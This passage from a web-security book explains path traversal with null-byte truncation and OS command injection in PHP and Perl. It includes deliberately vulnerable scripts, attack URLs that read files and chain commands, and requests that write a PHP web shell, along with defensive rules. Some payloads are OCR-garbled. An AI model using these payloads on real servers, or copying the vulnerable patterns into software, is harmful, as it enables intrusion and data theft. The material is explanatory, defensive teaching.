Errors Not Specific to a Particular Programming Language [1]

The previous sections described mistakes related to the particular programming languages. In essence, the descriptions of these mistakes were detailed explanations of particular functions of the programming language. I concentrated not on the normal behavior of a function but on its unforeseen (although documented) response to certain values of its parameters. With knowledge of this response, a hacker can benefit from it.

However, some mistakes can be done in any programming language.

An example of such a vulnerability is the SQL source code injection described in Chapter 3.

Vulnerabilities not related to a particular programming language are often caused by the erroneous logic of a script. Every script works according to a certain algorithm. If the algorithm isn't considered well enough, it can have features that are not assumed by the programmer and are missing from the specification. These vulnerabilities can be classified, but their classification isn't as strict as with particular programming languages.

Other causes of vulnerabilities not related to a particular interpreted language are common features of these languages and certain features of the operating system and its file system.

Vulnerabilities described in this section can be typical of different programming languages used for the development of Web applications. These mistakes can be done when writing in PHP, Perl, or other programming languages.

File Output Mistakes

This section describes mistakes that make certain files available to the attacker even though these file should be hidden from remote users. These mistakes can be made in both Perl and PHP programs.

Consider two examples.

http://localhost/2/14.php

<?

$id=$_GET ["id"];

if(!empty ($id))

{

$f=fopen("./data/$id.txt", "r");

while($r=fread($f, 1024))

{

echo $r;

}

}else

echo "

This is file database. Select a file.

<a href=14.php?id=001>001</a><br>

<a href=14.php?id=002>002</a><br>

<a href=14.php?id=003>003</a><br>

";

?>

http://localhost/cgi-bin/5.cgi

#!/usr/bin/perl

use CGI qw (:standard);

print "Content-Type: text/html\n\n";

$id=param("id");

if ($id)

{

open(F, "./data/$id.txt");

while (<F>)

{

print;

}

}

else

{

print "

This is file database. Select a file.

<a href=5.cgi?id=001>001</a><br>

<a href=5.cgi?id=002>002</a><br>

<a href=5.cgi?id=003>003</a><br>

";

}

The first script is written in PHP; the second is in Perl. They have similar logic and implement the same task using the same method.

A mistake that causes a vulnerability is that the value of a parameter received from a user is passed to the file opening function without filtration. This mistake entails a vulnerability because the received parameter can contain special control sequences, such as directory bypassing sequences, and other control characters.

In most file systems, the ../ sequence means moving one level up in the directory system. For example, /usr/local/www/../ is the same as /usr/local/, and C:/winnt/system32/.. /media is the same as C: /winnt/media.

Thus, the attacker can access any file in the system by passing a string containing the directory-bypassing sequence as a value of the id GET parameter.

However, the TXT extension is added to the received value. Therefore, the attacker can obtain any file with the TXT extension by using the directory-bypassing sequence in the id parameters:

  • http://localhost/2/14.php?id=./../passwd

  • http://localhost/2/14.php?id=./../../2/passwd

  • http://localhost/cgi-bin/5.cgi?id=./../passwd

  • http://localhost/cgi-bin/5.cgi?id=./../../2/passwd

In all these cases, the TXT extension will be added to the file name, and the following files will be opened:

You might think that this vulnerability is related only to getting files whose extension is TXT. However, this is not the case. Remember a feature of interpreted languages such as PHP or Perl: In these languages, strings can contain the null character inside them. At the same time, system functions that open files are written in C. In this language, the null character terminates a string.

The null character is URL-encoded as %00. So, the attacker can insert it into a GET parameter and into the directory bypassing sequence. As a result, the script will open a file whose name terminates with the first null character.

In these examples, the attacker can obtain the contents of files whose names he or she knows. Sometimes, the attacker can find out whether a particular directory is present on the server or even obtain a list of its files and subdirectories.

Make two requests to this script. The first one should send an existing directory name, and the second should send a nonexistent one:

  • http://localhost/2/14.php?id=./../../cgi-bin/%00

  • http://localhost/2/14.php?id=./../../not-exists/%00

The first request makes the script open and read the /CGZ-BIN/ file that exists on the server and is a directory. The second request points to the /NOT-EXTSTS/ directory that doesn't exist.

If the PHP interpreter is configured so that error messages are output to the browser, the attacker can analyze them. This is the case in the default PHP configuration.

Suppose that the output of messages is enabled, and compare messages output in these two examples. If the requested directory exists on the server, the following message is output:

   Warning: fopen(./data/./../../cgi-bin/): failed to open stream:

Permission denied in x:\localhost\2\14.php on line 5



Warning: fread(): supplied argument is not a valid stream resource in

x:\localhost\2\14.php on line 6

If the script fails to find the directory, it outputs the following message:

   Warning: fopen(./data/./../../not-exists/): failed to open stream: No

such file or directory in x:\localhost\2\14.php on line 5



Warning: fread(): supplied argument is not a valid stream resource in

x:\localhost\2\14.php on line 6



As you can see, the attacker can easily know whether a particular directory exists on the server. He or she just needs to request the desired directory using HTTP. The Permission denied message indicates that the requested directory exists.

The cause of this message is that the script tries to open the directory as a file, which is impossible. Although a directory is a file of a special type, it cannot be opened in Windows as an ordinary file.

Unix-like operating systems open directories as if they are files. What's more, in these systems the contents of such a system file are output in a binary form. With certain skills, the attacker can obtain the names of files and subdirectories of this directory by analyzing this binary output. Thus, the attacker can get the contents of a directory in a Unix-like operating system (if the directory is available for reading to him or her). In Unix-like operating systems, the Permission denied message won't appear. Rather, the binary contents of the directory will be output.

Note that both requests send the null characters at the end of the directory name to discard the string that the script could append to the directory name.

Now, look at what the script in Perl outputs:

  • http://localhost/cgi-bin/5.cgi?id=./../%002

  • http://localhost/cgi-bin/5.cgi?id=./../not-exists%00

In Windows, no messages are output regardless of whether the requested directory exists. The script is written so that no messages are output to the browser.

As with the previous example, if the requested directory exists on the server in a Unix-like operating system, its contents is output in a binary form.

Consider two more examples. They are similar to the previous ones, but the programmer checks the requested file for existence to protect the system from the attacker.

http://localhost/2/15.php

<?

$id=$_GET ["id"];

if(!empty ($id))

{

if(file_exists("./data/$id.txt"))

{

$ f=fopen("./data/$id.txt", "r");

while($r=fread($f, 1024))

{

echo $r;

}

}else

{

echo "file not found";

}

}else

echo "

This is file database. Select a file.

<a href=15.php?id=001>001</a><br>

<a href=15.php?id=002>002</a><br>

<a href=15.php?id=003>003</a><br>

";

?>

http://localhost/cgi-bin/6.cgi

#!/usr/bin/perl

use CGI qw(:standard);

print "Content-Type: text/html\n\n";

$id=param("id");

if($id)

{

if(-e "./data/$id.txt")

{

open(F, "./data/$id.txt");

while(<F>)

{

print;

}

}else

{

print "file not found";

}

}

else

{

print "

This is file database. Select a file.

<a href=6.cgi?id=001>001</a><br>

<a href=6.cgi?id=002>002</a><br>

<a href=6.cgi?id=003>003</a><br>

";

}

The difference between these scripts and the previous pair is that the latest scripts check whether the file exists before trying to open it. This is how the programmer avoids the situation, in which the script tries to open a nonexistent file.

This check is required and important when the file name is a value of a variable and the file doesn't necessarily exist. However, this check doesn't increase the security level of the system. The tricks described earlier that allow the attacker to access any system files will work in this case, too. The functions that check the existence of a file are vulnerable to the same methods for changing the path to a file and truncating "excessive" characters with the null character. In other words, the file that the attacker wants to open exists in the system.

A check for existence doesn't prevent the attacker from obtaining the contents of any file in the system. However, the behavior of the scripts will be different when the attacker tries to find out whether a particular directory is present on the server. The functions that check files for existence don't distinguish whether the specified name belongs to a common file or a directory. When it is a directory, the script will decide the file exists and try to open it.

Consider the http://localhost/2/15.php script. If the requested file doesn't exist, the script outputs a message that the file wasn't found. No system error messages are displayed.

Now consider http://localhost/2/15.php?id=not-exists. The same happens if a nonexistent directory is requested like this:

http://localhost/2/15.php?id=./not-exists/%00/

However, if you pass the script the name of an existing directory (http://localhost/2/15.php?id=./../../cgi-bin/%00), the following error message will be output to the browser:

   Warning: fopen(./data/./../../cgi-bin/): failed to open stream:

Permission denied in x:\localhost\2\15.php on line 7



Warning: fread(): supplied argument is not a valid stream resource in

x:\localhost\2\15.php on line 8



As in the previous cases, the cause of this message is an attempt to open a directory as if it was a file. This situation is typical of Windows. In a Unix-like operating system, the contents of the directory will be output in a binary form.

Now, consider the Perl script with the same functionality. Obtaining the contents of a file with a known name will be easy for the attacker. However, there are certain peculiarities in Windows that pass the directory name as a file name.

When the directory doesn't exist, the check for existence will return a negative result, and a message that the file wasn't found will be output:

http://localhost/cgi-bin/6.cgi?id=./not-exists/%800

When the passed name belongs to an existing directory (http://localhost/cgi-bin/6.cgi?id=./../data/%800), the check will be passed successfully but the file-open error will emerge. The script will return an empty page.

As in the previous examples, the contents of the directory in the binary form will be output in a Unix-like operating system.

Now, consider a situation, in which the passed parameter is a fragment of a file name and the beginning of the name is explicitly defined. Here are two examples.

http://localhost/2/16.php

<?

$id=$_GET ["id"];

if(!empty ($id))

{

$f=fopen("./data/file-$id.txt", "r");

while($r=fread($f, 1024))

{

echo $r;

}

}else

echo "

This is file database. Select a file.

<a href=16.php?id= 1>1</a><br>

<a href=16.php?id=2>2</a><br>

<a href=16.php?id=3>3</a><br>

";

?>

http://localhost/cgi-bin/7.cgi

#!/usr/bin/perl

use CGI qw(:standard);

print "Content-Type: text/html\n\n";

$id=param("id");

if ($id)

{

open(F, "./data/file-$id.txt");

while (<F>)

{

print;

}

}

else

{

print "

This is file database. Select a file.

<a href=7. cgi?id=l>K/a><br>

<a href=7.cgi?id=2>2</a><br>

<a href=7.cgi?id=3>3</a><br>

";

}

In both scripts, if the attacker wants to insert the directory-bypassing sequences into the file, he or she should specify a nonexistent directory as one of the directives in the path. This is necessary because the script tries to open a file whose name begins with file- in the ./data/ directory, and there is no subdirectory in this directory whose name would begin with this string.

If the directory contained such a subdirectory, for example, ./file-list/, the attacker could reduce this case to the one described earlier by sending the id GET parameter, whose value would contain the name of this directory:

However, this is not the case in the example you are looking at.

The attacker can use either of the following methods: He or she can specify a nonexistent directory inside the path and then move one level up, or he or she can specify an existing file as a directory name.

As practice shows, sometimes it is possible to leave a directory using a nonexistent directory name:

Sometimes, Windows (e.g., Windows 2000 with FAT or NTFS) allows the user to specify a nonexistent directory in a path if it is followed by moving one level up. In Unix-like operating systems, each directory in the path should exist and be available to the current user. In such a case, none of the described methods for leaving the current directory will work.

For secure programming, you should decide, which files can be accessed by the users and which cannot. Stick to the following rule:



Rule

Avoid using variables that can be affected by a remote user to specify a fragment of the name of a file to open. When this is necessary, the values of such variables should belong to a fixed set of valid values. The set should be thoroughly specified based on which files can be accessed by the users and which cannot.

Remember that a malicious user can include special characters into a requested file name, such as the directory-bypassing sequences, the null character, and other control characters (e.g., |, >, and <).

Embedding Code into the system() Function

The system() function and functions similar to it are used in various programming languages to execute system commands. Sometimes, it is necessary to pass this function dynamic arguments. For example, this is required when the server calls ping or traceroute to check its channel up to a certain address entered by the user. Here is a couple of examples.

http://localhost/2/17.php

<?

$ip=$_GET["ip"];

if (empty ($ip))

{

echo "<form>

Enter IP address: <input type=text name=ip><input type=submit value='ping'>

</form>";

}

else

{

echo "<pre>ping -n 5 $ip\n";

system("ping -n 5 $ip");

}

?>

http://localhost/cgi-bin/8.cgi

#!/usr/bin/perl

use CGI qw(:standard);

print "Content-Type: text/html\n\n";

$ip=param("ip");

if(!$ip)

{

print "<form>

Enter IP address: <input type=text name=ip><input type=submit

value='ping'>

</form>";

}else

{

print "<pre>ping -n 5 $ip\n";

system ("ping -n 5 $ip");

};

Both examples include the system ("ping -n 5 $ip") construction, where the ip variable is received from the user.

The danger of this situation is that the user can embed any characters into the ip parameter, including the new stream character and other system characters that would allow him or her to specify a chain of commands. The System() function doesn't put any restrictions on its arguments.

Because the function executes system commands, exploitation of this vulnerability depends on the operating system, under which a vulnerable application runs.

Consider possible ways of embedding system commands into this function in Windows. The semicolon isn't used in Windows to separate commands, so it is impossible to create a chain of commands using this character. Which characters can be used in system commands?

The pipe character (|) is used to redirect the output of a system command. When it is used, the output of a system command in a chain will be sent to the standard input of the next command. In other words, the pipe character allows you to create a series of system commands. For example, you can make the following HTTP requests:

  • http://localhost/2/17.php?ip=127.0.0.1|netstat+-an

  • http://localhost/2/17.php?ip=localhost|netstat+-an

  • http://localhost/cgi-bin/8.cgi?ip=127.0.0.l|netstat+-an

  • http://localhost/cgi-bin/8.cgi?ip=localhost|netstat+-an

The following commands will be executed:

  • ping -n 5 127.0.0.1|Inetstat -an

  • ping -n 5 localhost |netstat -an

  • ping -n 5 127.0.0.1|Inetstat -an

  • ping -n 5 localhost |netstat -an

You could use any system command instead of netstat -an. As a result, the system will attempt to ping the computer. The output will be sent to the standard input of the netstat command. This system command ignores data at its input and outputs a list of active connections.

This is how an attacker can execute any system commands.

Sometimes, the result of the ping command can affect the functionality of a command that the attacker wants to execute. The less-than and greater-than characters (< and >) are used to redirect the output to a file or from a file. Using these characters, you can redirect the output of the ping command to a file and then place the pipe character followed by any command. The system will execute the ping command, write its output into a file, and then execute any command specified by the user. The output of this command will be sent to the browser, and no data will be sent to the input of the malicious system command.

Consider a few examples:

  • http://localhost/2/17.php?ip=127.0.0.1+>+tmpfile|netstat+-an

  • http://localhost/2/17.php?ip=localhost+>+tmpfilelnetstat+-an

  • http://localhost/cgi-bin/8.cgi?ip=127.0.0.1+>+tmpfile|netstat+-an

  • http://localhost/cgi-bin/8.cgi?ip=localhost+>+tmpfile|netstat+-an

The output of the ping command will be sent to the tmpfile file in the current directory.

Using the redirection characters, the attacker can create any files in a vulnerable system. The danger of this situation is that the attacker can create PHP shell or Perl shell files.

Here are examples of requests creating PHP shell files:

  • http://localhost/2/17.php?ip=127.0.0.1+>+tmpfile+|+echo+system(stripslashes($_GET[cmd]))?>"+>+../cmd.php

  • http://localhost/2/17.php?ip=localhost+>+tmpfile+l+echo+"<?system(stripslashes($_GET[cmd]))?>"+>+../cmd.php

  • http://localhost/cgi-bin/8.cgi?ip=127.0.0.1+>+tmpfile+|+echo+"<?system(stripslashes($_GET[cmd]))?>"+>+../cmd.php

  • http://localhost/cgi-bin/8.cgi?ip=localhost+>+tmpfile+l+echo+"<?system(stripslashes($_GET[cmd]))?>"+>+../cmd.php

In addition, the attacker can obtain the contents of any file on the server using the type command, as shown in the following examples:

  • http://localhost/2/17.php?ip=127.0.0.1+>+tmpfile+|+type+17.php

  • http://localhost/2/17.php?ip=localhost+>+tmpfile+l+type+17.php

  • http://localhost/cgi-bin/8.cgi?ip=127.0.0.1+>+tmpfile+|+8.cgi

  • http://localhost/cgi-bin/8.cgi?ip=localhost+>+tmpfile+|+8.cgi

These HTTP requests output the code of the executed script to the browser.

The situation is different in Unix-like operating systems.

First, they use system commands other than those used in Windows. For example, cat should be used instead of type. I'm not going to describe system commands and their parameters in Unix or Windows, but I'd like to demonstrate the difference in the exploitation of this vulnerability in different operating systems.

Second, the control over the output in Unix is more flexible than in Windows. Using constructions such as &1>2, you can redirect error messages to the standard output stream. This will allow you to output an error message of a command to the browser. Sometimes this feature is useful.

Third, you can use special system commands such as /dev/null to redirect the output of a command to the specified file. As the file name implies, the data sent to this file will be lost forever. Redirecting data to an actual file or creating or editing a file could incur the administrator's suspicion.

Finally, you can use a semicolon to enter a series of system commands. By default, the output of each command will be sent to the browser.

The pipe character, the less-than and greater-than characters, and the << and >>characters work as usual.

This vulnerability is one of the most dangerous vulnerabilities you could encounter in Web systems. It allows the attacker to manipulate the server with the rights of the user who started the Web server as if the attacker was using a local computer. In particular, he or she can exploit local vulnerabilities, scan the local network from inside, and explore the system.

To write invulnerable applications, stick to the following rule:



Rule

Avoid using variables that could be affected by a remote user inside the system() function and similar functions. When this is necessary, make sure that the values of these variable fall into a fixed, predefined set of valid values. The set should be thoroughly specified depending on the task.

When specifying the set of valid values, keep in mind that the user can use the characters mentioned earlier inside the value of a parameter. In this case, your best approach will be as follows: Permit the necessary and prohibit the rest.

For example, if you allow remote users to ping any IP address from your server, the received value of the corresponding parameter should be a valid IP address: four dot-separated integers from 0 to 255. Other characters should be prohibited.

Another approach could be as follows: Prohibit the dangerous and permit the rest. However, it can be fraught with errors.

Some programming languages offer programmers functions that screen special characters. For example, there is the escapeshellcmd() function in PHP.

In Perl, you ca n execute any command without the sh interpreter. The argument of a system command is passed as the second parameter. For example, the system "/bin/echo", $arg construction is safe because it doesn't use the sh command interpreter.

In Perl, it is common to call the sendmail utility and pass it an e-mail address as a parameter. In this case, the attacker also can exploit the vulnerability. Although the output of the embedded command won't be available to the attacker, the vulnerability is still dangerous. When the result of a system command isn't displayed in the browser window or when it is filtered, the attacker can try to send the result to his or her e-mail address using the sendmail utility.

In some cases, a Web interface for creating users of the operating system is offered to the user. In Unix, the adduser command and a few similar commands can be used for this purpose. In this case, the attacker can try to embed commands into the user name.

To add a new user, this command should be called with privileges of the system user root. These are the highest privileges in the system. The danger of embedding code in this case can be crucial because the attacker will gain complete control over the system.

However, it will be difficult for the attacker to disclose this vulnerability without the source code of scripts. He or she can guess at the presence of this vulnerability from the behavior of the script. If the script performs functions specific to operating system commands, the attacker can suppose that the vulnerability takes place. Typical situations are calls to functions such as ping, traceroute, and whois.

Assuming the vulnerability takes place, the attacker can try to exploit it. A successful attack will confirm his or her assumption.

더보기

댓글,